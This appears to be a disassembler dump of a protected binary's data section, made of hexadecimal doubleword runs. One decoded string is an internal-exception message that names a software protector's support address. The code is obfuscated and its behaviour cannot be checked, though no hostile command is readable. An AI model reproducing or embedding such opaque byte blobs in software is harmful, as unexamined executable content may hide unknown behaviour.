0AB000000h dd 0C47B21B7h, 82A1EA9Bh, 0C1EA3B47h, 7D32C36h, 0B2858B5Dh dd 6A05EDAAh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 5EACC352h, 12140152h, 19840F27h dd 0E9000000h, 14h, 0EAEF3437h, 90490A8Dh, 85B5179Ah, 5C6390A8h dd 7069BEF8h, 0A9FEB58Dh, 14E905EDh, 51000000h, 0CA04EF2Eh dd 0D3DA3F80h, 35CD9C95h, 625C6D1h, 8D59637Bh, 0ED7A6185h dd 0D0FFF805h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 44C35343h, 978589F5h, 0E905EDA3h, 9, 8ED4024Ah dd 815C9ADFh, 820F6108h, 1, 97858BFCh, 6A05EDA3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0E3B7C350h, 0AA785AEBh, 6AC3FCh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0F6CAAAC3h dd 0F17249Dh, 0A82h, 8A0F6000h, 0 aAaJ db '`aa`j',0 dw 0E857h dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 43C35747h, 0EBB9FA51h dd 674AE348h, 10E9C4h, 3A740000h, 1D92E5B8h, 0FF1F5F97h dd 38574F29h, 0BD8312A6h, 5EDAAB2h, 36850F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0F9A0C351h, 0AAB285C7h, 13F05EDh, 0F9600001h dd 4EBE6660h, 8A0FCDh, 61000000h, 2FE961h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 38C47AC3h, 40E72F0Dh, 60952F8Bh, 575BE780h, 5FD0F580h dd 20CD61h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 5EDA39Fh dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 5EDA39Bh, 7F34583Bh dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 5EDA397h, 8B04EBh dd 8B61C5EBh, 0EDA39785h, 0F5FCCF05h, 83E9C08Bh, 53000000h dd 57565251h, 1C245C8Bh, 4D3B8166h, 68850F5Ah, 0F000000h dd 33C43B7h, 3B8166D8h, 850F4550h, 57h, 3785B8Bh, 8B1C245Ch dd 74032473h, 8B561C24h, 738B207Bh, 247C031Ch, 24740320h dd 0C983FC20h, 5C8B41FFh, 178B1C24h, 20245403h, 8A04C783h dd 74C08402h, 75033A08h, 0EB4243E8h, 75033AF2h, 0E1D15FE0h dd 0F04B70Fh, 386048Bh, 5F1C2444h, 5B595A5Eh, 330008C2h dd 0FFF1E9C0h, 0CA8BFFFFh, 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 10DFE900h, 0AE90000h, 0EE000000h, 0E8DA52C1h, 7A19E9D7h dd 19858BC2h, 6A05EA2Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 5BFBC356h, 0D99589CAh dd 3905EA16h, 0F042444h, 0AC85h, 0A1858900h, 0E905EA06h dd 10h, 7CCAB889h, 0E868DEE4h, 6E8A395h, 3D31C800h, 15DDBD83h dd 0F0005EAh, 8484h, 0C8B0F00h, 0F000000h, 686h, 71BD8900h dd 8D05EA14h, 0EA396985h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0DD1330D5h dd 894E4AD8h, 0EA1C2995h, 11890F05h, 0F000000h, 0B83h dd 6E900h, 5AF60000h, 19082225h, 6AE0FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 684769C3h dd 0D5BCA9EBh, 896CD588h, 0EA25D585h, 8D858B05h, 0F05EA1Ch dd 18Eh, 4439F500h, 850F0424h, 38h, 911B589h, 85C705EAh dd 5EDAF88h, 1, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 86C35242h, 0A0CDE993h, 1800F97h, 0FC000000h, 1BE9F860h dd 0E9000000h, 12h, 0DCEE8650h, 2BD66547h, 4EF65D10h, 0D725D152h dd 779Ch, 1B80000h, 87000000h, 0EDB0ED85h, 75C00B05h, 45B5FFF6h dd 8F05EA1Ah, 0EDAF8085h, 6A206A05h, 9995FFFFh, 8305EA29h dd 0EA1709BDh, 8740005h, 95FF006Ah, 5EA1015h, 1CD1BD83h dd 740105EAh, 80680Dh, 0FF6A0000h, 299995FFh, 6A05EAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 38AD85C3h, 8830Fh, 820F0000h, 2, 0CE96160h, 66000000h dd 41A77598h, 81F0E038h, 0B83B7554h, 0 dd 0D18B6660h, 797DCE81h, 0F610755h, 0C8Eh, 6890F00h, 89000000h dd 0EA20B995h, 24548B05h, 51006A28h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 41C83024h dd 852960DBh, 5EA3071h, 0A5BD2360h, 105EA10h, 0EA0D319Dh dd 89616105h, 0EA2D5D85h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0B84EFC13h dd 3CBEh, 7403F900h, 6A2424h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0A596BFC3h, 0DECA02D8h dd 0C890Fh, 7E90000h, 0E3000000h, 9A77F694h, 0AD661704h dd 0F18D2960h, 8B05EA28h, 0EA02619Dh, 44036105h, 6A2424h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 30D219C3h, 68C0F56h, 89000000h, 0EA08D995h, 52505005h dd 19810Fh, 14E90000h, 38000000h, 4F5B9EEEh, 0CC70D769h dd 3767534Bh, 9718CA6Ch, 0F960C70h, 2800F31h, 60000000h dd 89585A61h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0B6114EC3h, 77567683h, 8B70B07Ah dd 83F97840h, 0EDAF88BDh, 850F0005h, 0F2h, 2E1D9D01h, 605005EAh dd 0FA8B6653h, 61C18B5Fh, 6A240489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0E4D2C352h dd 0B145AFA4h, 24448BF5h, 5090FC2Ch, 188A0F52h, 0E9000000h dd 13h, 51F969A9h, 0F707DDD0h, 42DBB4C2h, 0A438C5E2h, 0F49F3B3h dd 0B7BB6031h, 6634DADFh, 5A61D38Bh, 870F5058h, 11h, 0CE9h dd 33394500h, 8CB8AB20h, 2B97C9E8h, 6A9083h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0C6B080C3h dd 0F92816D6h, 2B858DC2h, 6A05ED7Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0E1C350h dd 0BD29665Dh, 5EA3139h, 6AD0FFF5h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7A95C353h dd 44030356h, 0EE92824h, 17000000h, 0A7485F2Ah, 8824407Ah dd 73B6C16Ah, 0FE9ACh, 960F0000h, 0DF4726F5h, 0D107B5Dh dd 3CDD0F97h, 18408BDEh, 45BD01h, 0F54005EAh, 0AF848589h dd 0BD8905EDh, 5EA0BC5h, 7358D29h, 0F85805EAh, 6A78708Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 6452C351h, 4A70C56Ah, 6A1CC683h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 5FA8C356h, 0FE1A926h, 18Eh, 6A96F900h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 81A2C353h dd 24247Ch, 0F100000h, 14387h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 2C63A019h dd 0F3DADFCEh, 50503046h, 10800F52h, 0E9000000h, 0Bh, 947002Bh dd 0F66EDE32h, 0F699259h, 50525031h, 5A310F52h, 0E9310F58h dd 11h, 6A1A0AC4h, 0F44BEF3Bh, 0EAF94005h, 44E27BD7h, 5A585A36h dd 24048958h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 46C35242h, 7DB9779h, 448BF715h, 6A2824h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0AB63EDC3h, 31F8623Dh, 0EA30118Dh, 0E9605005h, 6, 849313DEh dd 8961CBD8h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0B53188C3h, 5EA0F15h, 7B2B858Dh dd 6A05EDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0B5E0A3C3h, 8AC30358h, 0E9DB2C7Eh, 7, 50F47834h dd 0FFE715F7h, 53006AD0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0DE506571h, 0F93180BCh dd 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 2961724Dh, 0EA05EDBDh, 7403FC05h, 6A2424h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 4AA578C3h, 0A1BD0189h, 8D05EA0Ah, 0EA17F9BDh, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0F8384B03h, 29DDBD29h, 13E905EAh, 36000000h, 3307D993h dd 412BADB6h, 1EA4B554h, 234C1263h, 60ADDEA3h, 0AFDB589h dd 816105EAh, 24247Ch, 0F100000h, 0B287h, 0FE900h, 0C2970000h dd 0DFA00514h, 0E762B7Ch, 1C55AB7Bh, 800F5042h, 4, 61585060h dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 27E9C356h, 2FCA9DD4h, 0E1800C9Ah dd 2A658589h, 8B6005EAh, 0EA0CE195h, 0F1BD8B05h, 6105EA00h dd 2824448Bh, 0DE950F9h, 74000000h, 5BC362B1h, 9F890832h dd 5BAB71B6h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 86D3C351h, 5E95EBFh dd 76000000h, 59ABDF65h, 7B2B858Dh, 8B6005EDh, 19589FBh dd 6105EA08h, 3FCD0FFh, 0E9242444h, 5, 0C3AC2D3Bh, 13E9AB3Dh dd 0CF000000h, 52064A80h, 9723A0D9h, 59FAF1D5h, 47AF34Eh dd 0FA814877h, 10000h, 74F820Fh, 0E8600000h, 0Dh, 9E427F89h dd 0FFAF3E07h, 0F4D25539h, 830F42h, 5F000000h, 5DBD8D61h dd 6005EA06h, 0BA5FBEF9h, 0AD612769h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 5BC35242h, 818C9D4Eh, 24247Ch dd 0F100000h, 0A487h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 8E950B2h, 46000000h, 0E3D7C2C0h dd 89DCA9CBh, 0BD892404h, 5EA00E1h, 6840Fh, 0BD090000h dd 5EA2C19h, 2824448Bh, 0EE9h, 917A8E00h, 853A9BF4h, 9920D1A7h dd 50AE6B6Dh, 6E9h, 58810C00h, 8929782Fh, 8DFC2404h, 0ED7B2B85h dd 19BD0905h, 6005EA09h, 89D9F480h, 0EA32FD8Dh, 0D0FF6105h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D5C35545h dd 1A9D51Fh, 0EA161DB5h, 24440305h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0A30A5F1Ch dd 468D6EF7h, 0CE93Ah, 0E0030000h, 0D75094D5h, 2DB4FC61h dd 0F90067Fh, 0C87h, 6800F00h, 0F000000h, 8Bh, 52505000h dd 13E9h, 0E3576000h, 0D649584Bh, 0CAD028A7h, 0B9D4704h dd 39FE03E5h, 8E9310Fh, 0CE000000h, 46997B04h, 5A38F98Eh dd 6A9058h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 472C0AC3h, 9AC935B5h, 0B5313E26h, 5EA025Dh dd 0A3BB6660h, 0D98B66B9h, 6AAB61h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8DE4F6C3h dd 0EA1D61BDh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 89ADF930h, 0EA02D99Dh dd 247C8105h, 28h, 85870F10h, 0F8000000h, 6840F50h, 60000000h dd 1056BF66h, 24048961h, 12D58D89h, 448B05EAh, 6A2C24h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0DBF451C3h, 0CC184982h, 608A4273h, 5AEB8A50h, 0E95061F8h dd 8, 352C4032h, 4A319F3Ah, 0F240489h, 88Ch, 2870F00h dd 60000000h, 59958961h, 8D05EA11h, 0ED7B2B85h, 6E905h dd 0BA280000h, 0E48ECB42h, 8589D0FFh, 5EA1EE1h, 28244403h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0F5C35343h dd 81096447h, 89000833h, 0EA259D9Dh, 95852905h, 0AB05EA11h dd 173DBD01h, 0FF5E05EAh, 0EDAF848Dh, 84BD8305h, 5EDAFh dd 0C0330A75h, 0BD96B58Dh, 0E6FF05EDh, 7C81AD56h, 2824h dd 0E771000h, 24448B50h, 858D502Ch, 5ED7B2Bh, 4403D0FFh dd 8B972824h, 80858ADFh, 8405EDAFh, 3A0474C0h, 574C7507h dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h dd 0EA2D5D85h, 0FF5DE905h, 0E95EFFFFh, 0Ah, 0A4174325h dd 0B5A585F0h, 9589028Bh, 5EA1021h, 2D5D858Bh, 6A05EAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0EBE82EC3h, 13840Fh, 0EE90000h, 0CA000000h, 53F505D3h dd 95878DE9h, 3FFB1438h, 6AE0D12Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EC6BC357h dd 9FE15668h, 0B58B60F9h, 5EA0989h, 24D9589h, 36105EAh dd 0EA1D6185h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 6E98Fh, 0EA030000h, 43F608D9h dd 0C18B6660h, 358D0160h, 8105EA1Bh, 7972BED3h, 0BE61610Eh dd 0 dd 8B6096F5h, 61BD33D3h, 6105EA0Fh, 6AAD66h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0E36EB5C3h dd 0F2896510h, 16FDB529h, 0E0C105EAh, 81666002h, 0B352A0DBh dd 85036105h, 5EA17F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0CEC35646h, 5556AD4h, 6031A2C7h, 0F285FBEh dd 617DB267h, 13E86096h, 0EB000000h, 3F2EE1B7h, 0DBB27E38h dd 0EF9BE7D0h, 3D4E3B2Bh, 8166BEE7h, 586DEAD0h, 30759D03h dd 0AD6105EAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 3AC35141h, 35747CBAh, 0E8607972h, 0Fh, 5A02C8DBh dd 0D9EF3989h, 790CA99Bh, 60D6A4ADh, 8C0F5B61h, 6, 24CD9D89h dd 816105EAh, 24247Ch, 0F100000h, 0F287h, 18F0F00h, 0F9000000h dd 0F48A6090h, 50618EB2h, 12E9h, 0F0F12B00h, 10FB5708h dd 16C5488Dh, 0E144331Dh, 90645BFDh, 8159D31h, 448B05EAh dd 0B5012824h, 5EA0359h, 0FE860h, 49890000h, 39610A95h dd 0BA82F257h, 7B02DB74h, 0F5B5892Fh, 5805EA19h, 509061F9h dd 50525052h, 5A310F52h, 0F310F58h, 8Ah, 0F585A00h, 810F6031h dd 0 dd 5A616160h, 52505058h, 665B5160h, 61D378BEh, 5760310Fh dd 615A5358h, 2990585Ah, 0EA0C8DB5h, 2B858D05h, 6A05ED7Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 5D1C355h, 8983871Bh, 0EA32B59Dh, 0D0FFF805h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 89C35343h dd 0AC3E32A9h, 0FF9CCEAh, 683h, 99B58900h, 305EA1Ch, 6A242444h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 53CAC351h, 89F57274h, 6A1C2444h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 881AC352h, 60052C30h, 9E9h, 0A614B500h, 0B2605376h dd 0B589489Dh, 5EA1CEDh, 9852961h, 0C605EA16h, 0EA1A4585h dd 85C70005h, 5EDB0EDh, 0 dd 0AF8885C7h, 5EDh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0B34B6CC3h, 0B5895388h dd 5EA0D7Dh, 2D598589h, 6A05EAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0D1E1D0C3h, 0C1F835DAh dd 6D850934h, 6105EA2Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0FEC35646h, 0FE9h, 0A9B04900h, 30C6B1Bh dd 6705B597h, 0F3A68B49h, 1800Fh, 0C2F90000h, 6A0008h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 436903C3h, 5ACAE63Bh, 0AE906C1h, 97000000h, 0B9CC1ED7h dd 3BAEA485h, 0F9858B63h, 0E905EA17h, 0Dh, 2F600648h, 0D3FBB850h dd 89EE7D24h, 85896075h, 5EA1331h, 8D894A61h, 5EA2305h dd 6A04D26Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 335C352h, 11E9h, 1C42C500h, 9BB8F0C1h dd 52CDB37Eh, 0DD90026Eh, 5160DC47h, 13D574B9h, 0F9605E08h dd 61615950h, 0BD89C203h, 5EA318Dh, 50006A96h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0AD9CB630h dd 2981B529h, 7C8105EAh, 2424h, 870F1000h, 109h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B7C35343h, 2CB9BD29h dd 90FC05EAh, 5E9h, 0EE035500h, 60508277h, 8B66D68Bh, 0F59061D9h dd 2824448Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 1C35747h, 2CAAEDA7h, 69B52967h, 9005EA2Ch, 6906B860h dd 5F52694Ch, 850F5061h, 8, 28E0Fh, 61600000h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 9072C27Dh, 2E00FC6Dh, 0B1958928h, 6005EA1Bh, 13E9h dd 6F915700h, 0FEDA4090h, 0AFE35BB2h, 9CA98B4Ah, 83A94881h dd 2B858D61h, 6A05ED7Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 376C352h, 606F8DC1h dd 2C9BD89h, 858905EAh, 5EA2981h, 0FD0FF61h, 0C8Eh, 6840F00h dd 89000000h, 0EA1A8DB5h, 0FD09E905h, 8D0FFFFFh, 1, 87858DF9h dd 0F05EDC3h, 68Fh, 51858900h, 5005EA20h, 0FE9h, 0A0C7A300h dd 0A3565A01h, 0F52EF7E3h, 0C0DA3AAEh, 60240489h, 11E8h dd 0AE380F00h, 95337C87h, 63D5B97Ch, 76FF8613h, 0D08B7EEAh dd 7DDA8159h, 616A4D80h, 35FF64h, 89000000h, 0EA0BC5BDh dd 0BD8B6005h, 5EA1EA9h, 11BD8D03h, 8B6105EAh, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 18A068C3h, 0BF60B46Dh, 2967622h, 6E950h, 0F92A0000h dd 9133D8DCh, 8589615Eh, 5EA1431h, 0CE9h, 0CA9DD400h, 800C9A2Fh dd 0C97D21E1h, 816660D2h, 601764C1h, 8E8h, 91D74000h, 0A3C1C1EFh dd 61605E74h, 89646161h, 25h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 9F0013C5h dd 1A332BA7h, 858D8799h, 5EDC19Eh, 0FBA6660h, 0F6D8BFF1h dd 89610C46h, 95290160h, 5EA1BCDh, 22CE9h, 858B6000h, 5EA07A5h dd 0E8DB8B61h, 0 dd 97ED815Dh, 0BC05EDC1h, 12FF9Ch, 1CD1BD83h, 740005EAh dd 95858B18h, 0C605EA0Ch, 858B0000h, 5EA2B85h, 0FF0000C6h dd 0EA2E7D95h, 0B5FF6005h, 5EDAB8Ch, 0AB90858Dh, 8D5005EDh dd 0EDAD8885h, 95FF5005h, 5EA0C69h, 610CC483h, 0D8CCBA60h dd 0BD894428h, 5EA2F21h, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9E9ADD4h, 69000000h, 6C787C9Eh dd 0F9A1E375h, 0AD88B58Dh, 6A05EDh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 60F9B7C3h dd 11119529h, 8A0F05EAh, 3, 61C78B66h, 20FDBD8Dh, 6A05EAh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 298871C3h, 0EA2D2D8Dh, 13E905h, 0F2630000h, 0DAD2CB56h dd 0E86D0468h, 0AAE95620h, 0FF9CDF80h, 880F608Ch, 6, 599D8Bh dd 0D38105EAh, 24E8F6A0h, 3E8061h, 4E840Fh, 8D290000h dd 5EA2AC1h, 51006AA4h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 950265FBh, 0CAE9F815h, 6AFFFFFFh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 4B7CC351h, 7CD906A3h, 0B8h, 0CE900h, 307F0000h dd 24EF4E9Dh, 0DCDFC059h, 6AAA8C06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0A07AC352h dd 6653DC3Ah, 7B8h, 9D31FC00h, 5EA015Dh, 1CE185C7h, 105EAh dd 8D010000h, 5EA0059h, 4C218D8Dh, 0BD8905EAh, 5EA06DDh dd 10E960h, 860E0000h, 549B1E8Ch, 4791FF17h, 0C2A9280h dd 8C0F72B0h, 0 dd 0E9E1FF61h, 8, 97F9609h, 7729371Ah, 0C245C8Bh, 0E855h dd 815D0000h, 0EDC391EDh, 0B8838B05h, 89000000h, 0EDAB8C85h dd 90858D05h, 8905EDC1h, 0B883h, 0C0335D00h, 55006AC3h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 22B2AFFBh, 0F6FB05Fh, 686h, 559D8900h, 0F05EA08h, 681h dd 0CD8D8900h, 6A05EA31h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 71D0C352h, 52EA32BDh dd 57610035h, 85B53160h, 0FC05EA16h, 0C648858Dh, 0BD3105EDh dd 5EA0345h, 0FE990h, 0E8720000h, 3492B23Fh, 2926858h dd 0FBE5334Ch, 0CE9508Eh, 0E2000000h, 0E4777048h, 66975E2Bh dd 901518F8h, 35FF64F9h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0A9C35646h dd 62259A8Eh, 8960F8AFh, 0EA2F4595h, 6122B705h, 258964h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0DA31C355h, 6B301D95h, 8D292403h dd 5EA06F9h, 0C6EE858Dh, 852905EDh, 5EA2E21h, 6A016089h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0E41CC352h, 6D84C67Eh, 2AD15168h, 4585C6F9h dd 4F05EA1Ah, 1BED8589h, 4E805EAh, 2A000000h, 50FEC874h dd 0F525052h, 8Ah, 0E9310F00h, 0Fh, 1B28B887h, 2CC01098h dd 0E4250CB5h, 5AA134A1h, 0E9310F58h, 11h, 19C9D288h, 0E3B2D69Ah dd 0FCAA9DF4h, 0E5DEEB37h, 50585AB8h, 10860Fh, 0BE90000h dd 20000000h, 0CC2D5BA4h, 5F86976h, 448B278Ch, 52500424h dd 61605250h, 5250310Fh, 585A310Fh, 310F585Ah, 6880Fh dd 860F0000h, 0 dd 8B585Ah, 6165B060h, 4244489h, 0E9605250h, 12h, 0ECD77548h dd 7D8E0234h, 442CC140h, 7F229248h, 5BB17525h, 50310F61h dd 0F616052h, 0F525031h, 5A585A31h, 58585A58h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1AC35141h, 0B4C3D519h dd 0FF7B741Ah, 0EA238DB5h, 91B53105h, 8D05EA0Ch, 0EDAFA085h dd 1830F05h, 0F5000000h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 515D8DC3h, 2F58810Ch dd 1422978h, 0EA1571BDh, 0D1E905h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 799797C3h dd 0C0E7AF96h, 0B52B605Dh, 5EA2E61h, 245C8B61h, 0E8550Ch dd 5D000000h, 0C652ED81h, 858B05EDh, 5EA1D45h, 238D8589h dd 858B05EAh, 5EA1C8Dh, 0F6D8589h, 858B05EAh, 5EA2B19h dd 1458589h, 85C605EAh, 5EA1A45h, 0ED85C700h, 5EDB0h, 8D000000h dd 0EDC6EE85h, 0B8838905h, 5D000000h, 6AC3C033h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0AFE3C355h, 6800Fh, 95890000h, 5EA2D6Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0C35040h, 81950160h dd 6605EA20h, 0BC61C28Bh, 12FF74h, 12198D89h, 8F6405EAh dd 5, 12E900h, 89C50000h, 0FE304A12h, 13C71C48h, 36F01F0Ah dd 2548ED0Dh, 131D9589h, 0C48305EAh, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0BC1E472Fh dd 9D015640h, 5EA0661h, 13E861h, 0A68C0000h, 0BCB6107Eh dd 4BCB5538h, 489C3A60h, 13F98B7Ah, 58CA8BF4h, 81D38B66h dd 6EF7C0h, 6840F00h, 81000000h, 3F529FC9h, 1B82BB58h dd 9E90000h, 31000000h, 0CBF4431h, 0D930FB37h, 8E930FFh dd 0D8000000h, 0C825A8A0h, 5E48CABCh, 14E956h, 39CA0000h dd 0BC4E586Ah, 34078410h, 0A33BEE3Fh, 20698E36h, 815A8CC1h dd 0FC2903F6h, 94EE8156h, 297354F6h, 0EA0BE5B5h, 0D6C68105h dd 0F4774A3h, 68Ch, 0C5BD8B00h, 5605EA1Bh, 0B830Fh, 8D0F0000h dd 5, 7EB0FCBAh, 0E8008F45h, 7, 7E5CA94Bh, 0E9BAF30Eh dd 8, 0F72AFF0Ah, 17B017EFh, 4E88359h, 1811958Bh, 0F4B05EAh dd 1585h, 23E900h, 16710000h, 0A9B2421h, 31CEE6B7h, 0C38FC64Bh dd 8589EE36h, 5EA15F9h, 0FFFF53E9h, 7ECC95FFh, 0BEA18EFEh dd 12E8D0h, 0B6BD0000h, 58CEAF47h, 19B67732h, 31E521F9h dd 0FED8A50h, 159D88Bh, 0EA29818Dh, 68C18105h, 6600006Eh dd 0B7F6DB81h, 0F480FF33h, 39348B9Dh, 30F58D29h, 0F68105EAh dd 993A505h, 5B6FB350h, 87AFEE81h, 0EE81173Eh, 6ADFFA1Ch dd 19D19D23h, 348905EAh, 0A006BB39h, 90B07A8Ah, 5001EF83h dd 5A4FC480h, 0F4F4F4Fh, 681h, 41858B00h, 8105EA0Ah, 0FF9214FFh dd 0AE850FFFh, 66FFFFFFh, 0E5E9C78Bh, 10000000h, 0DCFFEE4Dh dd 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h dd 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h dd 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h dd 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h dd 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h dd 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h, 73351ADFh dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh dd 7DD77DD5h, 6DF73D57h, 